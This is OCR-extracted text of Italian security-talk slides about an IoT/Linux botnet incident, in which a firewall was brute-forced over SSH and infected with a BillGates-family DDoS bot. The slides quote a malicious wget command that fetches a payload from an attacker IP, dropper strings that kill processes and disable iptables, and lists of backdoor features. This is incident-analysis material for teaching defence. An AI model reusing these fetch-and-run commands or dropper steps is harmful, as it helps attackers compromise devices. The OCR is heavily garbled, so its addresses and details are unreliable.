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IL LATO OSCURO DELL’IOT

Come ritrovarsi una Botnet da Salotto sul
Router ADSL di casa
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01> Gl utenti si lamentano che Internet va lento

02> 11 SOC dell'Operatore avvisa che c'e un attacco
DDoS In corso e gli consiglia Il servizio
AntI-DDoS di Arbor Networks

Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
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> || fornitore di Connettivita ha certificato che si tratta di attacco
DDoS nel confronti della filiale

> C’é un firewall Linux con IpTables ma non espone nulla

> CI sono dei siti Web esposti dai tempi della nascita di Internet di
cui sono morti gli sviluppatori

> || Dirigente di filiale ha dato disposizione di reinstallare tutto
perché ha bisogno di Internet, quindi il tempo stringe...

> ... ma il servizio Anti-DDoS proposto dall’Operatore costa un
occhio della testa
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& L'utente ha risposto al messagagio in data 02/09,/2014 19:07.

Da: Giuseppe Di Palma <g.dipalma@intersistemi.it= Inviato: martedi 02/09/2014 15:53
A ‘Addesso, Raffaele’

Cc ‘Andrea Pompili

Oggetto: L gquarda un po...

Da: Giuseppe Di Palma [mailto:g.dipalma@intersistemi.it]
Inviato: martedi 2 settembre 2014 18:11

A: 'Addesso, Raffaele!

Oggetto: guarda un po...

root@gis-firewall:™# netstat -nap | grep 8089

tcp 0 0172.16.100.1:5 61.147.103.185:8089 BLISHED 12350/ wget

tcp o 0 1?2.16.10[].1:4@.14?.103.185:80@3“SHED 12451/ wget
root@gis-firewall:™# ps -ef | grep wget

root 1234912333 017:557 00:00:00 sh -c wget -c -P /hin http://61.147.103.185:8089/install.tar
root 1235012349 017:557  00:00:00 wget -c-P /bin http://61.147.103.185:8089/install.tar

root 1245012425 018:007  00:00:00 sh-cwget-c-P /bin hittp://61.147.103.185:8089/install.tar

root 1245112450 018:007  00:00:00 wget -c-P /hin http://61.147.103.185:5089/install.tar
root 1281712741 018:05 pts/1 00:00:00 grep wget

E Windows Desktop Search non & disponibile.
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| file:///Defandy/Documenti/ Collaboration_Intersistemi/Education/Corse DIS/virus/malware_ELF_D

| |20 Pid visitati E Goog|e= HotMail & Libero Security Search Portal

[bad IPs&|

Blog IP Database Statistics Documentation About Forum Key:

W Follow @badipscom

W Tweet

information about 61.147.103.185

learn how to block this IP or start reporting malicious IPs now.

-

The IP 61.147.103.185 was reported for malicious activity by 31 different reporters in 2 categories,
these are:

Trasferimento dati da misc.badips.com...
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Robtex LTD [CY]|https://www.robtex.com/en/advisory/ip/61/147/103/185/#

Blacklists more...

() share | 127

Contact Whois
W Tweet 197

Records Graph NTap Discussion
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| W User Datagram Protocol - Wikipedia, .. = | Lo
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|2 Piu visitati Q Google @ HotMail 8. Libero Security Search Portal
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'4- 2> C ff [)61.147.103.185:8089

i Google Apps [ig xampp [L] ISACA  [L1] HPD.P. Comandi Linux [J uGls [ CERT [] boMoOTICA [] ViRus [ An

R L

1.24 MB 2014-4-9 1:24:10
17.13 KB  2013-10-27 22:47:44
1.38 MB 2013-11-9 8:19:33
1.13MB 2014-8-7 23:05:12
17.13 KB 2013-10-27 22:47:44
1.08 MB 2014-8-7 22:57:42
1.66 MB  2013-12-31 20:52:53
174.45 KB  2014-4-13 18:58:52
436.24 KB 2013-9-3 5:58:03
10.79 KB 2014-4-8 3:52:33
8.80 KB 2014-8-7 22:52:42

19.34 KB 2013-10-14 17:13:28
1.45MB  2014-8-26 23:20:31

1.60 MB  2014-8-31 22:13:07
HaTH WAEF| 2 shift.exe 469.21 KB 2014-5-12 22:22:47

2MN14.Q.7 278242

HFS ~ HTTP FILE SERVER Do youi like this software?

; _, Donate!
HEHHHC: (1 X) 11:15:16 .. ‘ » Consider even $2
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| D:\andy\Documenti\Collaboration_Intersistemi\E Corso DIS\virus\malware ELF_DDasser\install ‘

| File Modifica Visualizza Preferiti Strumenti Aiuto
2 8 @ = = X @
\|Aggiungi Estrai  Verifica  Copia Sposta  Elimina Proprieta

|| D\andy\Documenti\Collaboration_Intersistemi\Education\Corso DIS\virus\malware_ELF_DDosser\install.t_r\

Dimensione Dimensione co... Ultima modifica

17 544 17920 2013-10-27 15:47

] 1135000 1135104 2014-08-07 15:57
|| mysql515 9014 9216 2014-08-07 15:52
|| socket 13356 13824 2014-08-07 15:52
|| taskgrm- 707 1024 2013-11-1113:04

<

Oggetti selezionati: 0

@®O O



MILAN 04.11.2015

i = R R

B 5 3

- @

a

|j Functions window

B | O

Hex View-A

Structures

]
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Enums %= Imports Ed Exports

Function name
_init_proc
_fputs

_sprintf
__gmen_start__
_system
_memset
__libe_start_main
_access

_fclose

_fopen

_strcpy

_printf

_fwrite
_remove
_sleep

_fread

_exit

_start
call_gmon_start
__do_global_dtors_aux
frame_dummy
main

7
7]
7]
7]
7]
7
7]
7]
7]
7
7
7
7]
7]
7
7]
7]
7
7
7]
7]
7
£

T

Line 22 of 58
z Output window

-text:p80486BF
-text:p804B6CH
-text:p804B6CH
-text:B80486D2
-text:B8B4BGDT
-text:B8B4B6DE
-text:B8B4BGED
-text:B8BUBGER
-text:B8 BUBGEF
-text:B8BUBGF6
-text:p804B6FB
-text:p8 048702
-text:p8048707
-text:p8 0487 BE
-text:B8 048713
-text:B8 Q48719
-text:B804871B
-text:B8 048728
-text:BA804BT72L
-text:B8 048720
-text:BBB4ABT2F
-text:p8048734
-text:p8048738
-text:p8048748
-text:B8 Q48T LS
-text:B8QA4B7S8

00000602 0B04E86D2:

4

mow
call
mow
call
mowv
call
mou
call
mou
call
mow
call
mow
call
lea
mowv
mowv
mou
mou
mou
call
mow
call
mow
mowv
lea

dword ptr
_systen
duord ptr

_systenm

dword ptr

_systenm

dword ptr

_Ssleep

dword ptr

_system

duord ptr

_systen

duord ptr

_systenm

[esp], offset command ; "killall -9 kerne'
; stop kerne

[esp], offset aKillall9Socket ; "killall -9 socket”
; stop socket

[esp], offset aKillall9Cnet2 "killall -9 cnet2”
; stop cnet2

[esp], BAh ; seconds

[esp], offset aKillall9Cnet?2 "killall -9 cnet2”
; stop again cnet2

[esp], offset aCdEtcInit_dIpt : "cd / wn fetc/init.d/fiptables stop”
; stop iptables

[esp], offset aServicelptable ; “service iptables stop™
; stop iptables (alternative way)

eax, [ebp+tempString]

edx, eax
eax, BCBh

[esp+8&], eax ; size_t n (OxC8)

dword ptr

[esp], edx

memset

dword ptr
_remove

dword ptr
dword ptr

[esp+4], B ; int c (Bx00)
; void =str (tempString)
; set the buffer to Bx80
[esp], offset filepame ; "/binfinstall.tar"

[esp+8], offset dounip “61.147.103 1858089
[esp+4], offset format "wget -c -P /bin http://%s/install.tar”

eax, [ebp+tempString]
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For Help, press F1 Lnl, Col.1, CW 105 Meod: 23,/09/2014 18:40:38  |File Size: 4380
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53
I e

E Functions window f X

Function name

_init_proc

_start

call_gmon_start

__do_global_dtors_aux

frame_dummy
CAmpResource:CAmpResource(vaid)
CAmpResource: CAmpResource(void)
CAmpResource:Clear(void)
CAmpResource: ~CAmpResource()
CAmpResource: ~CAmpResource()
CAmpResource:_InitReadResource(int)
CAmpResource:InitReadResource(char co
CAmpResource:ReinitReadResource(char
_tcf D

_ static_initialization_and_destruction_0{int
‘global constructor keyed to'g_AmpResour
__gthread_active_p(void)
__gthread_once(int *,void (*){void])
CPacketAttack:GetSockTypebyAtkType(uc
CPacketAttack:Destroy(void)

I 3

L Y ey

-

+_____"__'|

00016FCB 0805EFCB: main:loc BOSEFCB

4

I

o F-F e X » D O [ debue ) 6 B
5 —
R ——SS
E] @ Hex View-A IE Structures LE_E Enums S Imports @ Exports
.text:0805EF98 push [ebp+var_1C]
.text:08085EF9B call _Unwind_Resume
text-@BBSEFAB ;
-text:8885EFAD
-text:0805EFAM loc_8ASEFAG: ; CODE XREF: main+u5Tj
.text-A8ASEFAA sub esp, HCh
.text:8805EFA3 lea eax, [ebps+var_8]
.text -B8B5EFAG push eax
.text:880%EFA7 call _ZHSsD1EV ; std::string::™string()
.text -A8ASEFAC add esp, 18h
.text:8805EFAF call _ZHBC3ysTool14CheckGatesType ; CSysTool::CheckGatesType{void)
-text B8 B5EFBL4 mou [ebp+var_18], eax
.text:8805EFBY cmp [ebp+var_18], 1
.text B8 0B5EFBB jz short loc 8OS5EFEB
.text:8805EFBD cmp [ebp+var_18], 1
.text :B8B5EFC1 ig short loc BOS5EFCB
.text:8805EFC3 cmp [ebp+wvar_18], @
.text zB8B5EFCY jz short loc BOSEFD9
.text:0805EFCY? jmp short loc_8O5EFFF
|- textzBBBSEFCE ; ————————— e
-text:8805EFCB
-text:88B5EFCB loc_BASEFCB: ; CODE XREF: main+8BTj
-text:0805EFCB cmp [ebp+var_18], 2
.text -B8B5EFCF jz short loc BOSEFEY
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|20 Pid visitati B Google & HotMail B Libero €3 AES Online Decrypt & ODA

TM Feed Xabpaxabp Meramosr  Geektimes TocTep Brainstorage @pUNaHcum Nekunn HP

l/lccnenyeM ‘Linux Botnet «BillGates»

(11
I'm not a botnet;,
~Bill Gates

Hanwucan mMHe BYepa « [fatallty, roBopuT, AoMaWwHWIA poyTep Ha x86 c CentOS Kak-TO CTpaHHO ceba BeaeT, rpysuT KaHan nog
rMrabuT, U Kakom-TO CTpaHHbIM npouecc «atddd» 3arpyxaeT npoueccop. Pelwmn A 3ane3Tb M NOCMOTPEThb, YTO XXe TaM TBOPUTCH,
M Cpasy MOHsAM, YTO KTO-TO npobpancs Ha cepsep M CoBepliaeT C HUM HenoTpebcTea BCAkMe. B npoueccax suceny wget-bl Ha
nomed dgnfd564sdf.com n npoueccel atddd, cupsdd, cupsddh, ksapdd, kysapdd, skysapdd v xfsdxd, zanyuieHHbie U3

fetc:
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61.147.103.185:8089

socket
mysql515

Chet?2

Heartbeat >>
/etc/crontab 61.147.103.185:58275

(command execution) Ping Shell (8080)

HTTP Shell (8008)
> BindShell (8888)
> Proxy Socks (1080)
> File Manager

/etc/init.d/taskgrm~
letc/rc.d/rc5.d/taskgrm ~

Except whe e noted, this work is licensed under
ltt} ://cr t ns.org/licenses/by-nc-sa/3.0/
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SSH brute force Attack

Aug 18
Failed

Aug 18
Failed

Aug 18
Failed

Aug 18
Failed

Aug 18
Failed

Aug 31
Aug 31

@O®OO

23:08:26
password

23:08:30
password

23:08:34
password

23:08:38
password

23:08:42
password

04:47:48
19:31:31

gis-firewall sshd[30935]:
for root from 60.173.14.24

gis-firewall sshd[30937]:
for root from 60.173.14.24

gis-firewall sshd[30939]:
for root from 60.173.14.24

gis-firewall sshd[30945]:
for root from 60.173.14.24

gis-firewall sshd[30950]:
for root from 60.173.14.24

gis-firewall sshd[30759]: Accepted password for root from 60.173.14.24
gis-firewall sshd[8525]: Accepted password for root from 61.147.103.185

Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/

GQICURELL/N

% SSHGui v0.5.5 By Scarlet

# || ssH 28 | ssH T @ |

FHIREE ¢ [C:\Documents and Settings\Administrator| £ @ 22122.txt
BS54 : |C:\Documents and SettingsiAdministrator) £ E|22 vh.txt
FH8F 8 ¢ |C:\Documents and SettingsiAdministrator | S 22\ pwed.bxt

BRI ¢ [C:\Documents and SettingsiAdministrator) & 221 good, txt
b = 22 \EHFHER (s) - 30
£81g : 1000 30
EME R [w— BIREREEIE [';7

Bah

SSHIBFEERT(s) *
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Eﬂ Malware Must Die!

. | Flknot
gMalware Must Die! Bl”GateS

Semper legerent "Salve Regina" ante venatione malware
o China ELF botnet malware infection & distribution I " X /XOR D )O S
scheme unleashed - / '

The background Chi ﬂalz ?

There are so many ELF malware infection with the multiple type of backdoors and DDoS'ers
originated from China. Our report in here —>[ ' ] shows the known 6 (six) types of those DDoS'ers,
From the Linux/Elknot, which is the oldest one, the popular ones, following by the Linux/BillGates
which having the encrypted dropped backdoor with packet capture and rootkit functions, then the
Linux/AES.DDoS that is aiming for the router & embedded architecture (ARM, MIPS, PPC), and we
have Linux/IptabLes|x that is messing with the system'’s autorun by copying itself to the /boot, we
@ have also the Linux/XOR.DDoS which suggesting the coder likes the CTF-like challange. And the

Iiii ani |i ihﬁ Hﬁ‘“ invantad mahaiare neina (G lanmiana which ic dacinnad tn infart ARM daovica-

| |2} Piu visitati E&. Google & HotMail B Libero AES Online Decrypt & ODA
| g r)p

J
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stickybet.com

2l Pit visitati 2 Google 2" HotMail B, Libero AES Online Decrypt & ODA

Bitcoin ino Game S Promotions

SQUICURELL/N\

English

Winners Top Winners S
@ Blackjack Surrender - mBTC 4mBTC  Password
Blackjack Surrender - mBTC 2merc
Blackjack Surrender - mBTC 14maTc M Remember me
Blackjack Surrender - mBTC 10 mBTC
Sign In

Blackjack Surrender - mBTC 6 mBTC
Blackjack Surrender - mBTC 4 mBTC  Forgot Your Password?

Sign Up

Play for Fun

Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
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| €= il > ¢ blog.malwaremustdie.org/2014/09/tango-down-report-of-op-china-elf-dd

125 Pi visitati 2 Google & HotMail B, Libero £ AES Online Decrypt # ODA
The distributed malware are separated into 3 categories:
1. "Elknot” vanants, technical information: —-> [ /]
2. "AES.DDoS", technical information: —> [ /]
3. ".Iptables|x", technical information: —> [ ]
4. "BillGates”, technical information: —> [~ ]
5. "GoARM.Bot", technical information: —> [link] ¥
6. "XOR.DDoS", technical information: —> [\ ] /

The malware analyzed was compiled with aiming NIX base routers/s( |

CPU architectures: - -
1. Intel x32 (Linux / FreeBSD)

2. Intel x64 (Linux / FreeBSD)

3. AMD x64 (Linux)

3. ARM (Linux)

4. MIPS (Linux)

5. PPC (Linux)

The Windows version of the same DDoSer was started to be detected in Mid October 2014.
Samples: [-1-] [-2-]

Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
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(M) == Traditional embedded systema e «=inteligent systems Personal computers = s=Servers = «»Cellular phones
8,000 -

7,000 4 /0
?

5,000 4

5.000 | ’. /.
4,000 "_./

3,000 4
g ®
2.000 - .‘363_0
".—z’
o .—Q—.—.’. I.’
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2006 2007 2008 2009 2010 201 2012 203 2014 2015 2016

Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
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Attacker “Math” 101 (Dino Dai Zovi)

http://trailofbits.files.wordpress.com/2011/08/attacker-math.pdf

Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
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INTERESTED IN UPDATING
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Questions? ¢, Preguntas?

Arabic Russian

Domande?
61 CVIN

Greek Sindarin

=1E

Klingon

Except u / > noted, this work is licensed under
ltt} ://cr t ')l‘g/liC(?IlSCS/1)}'*11(1*8&1/[3.0/



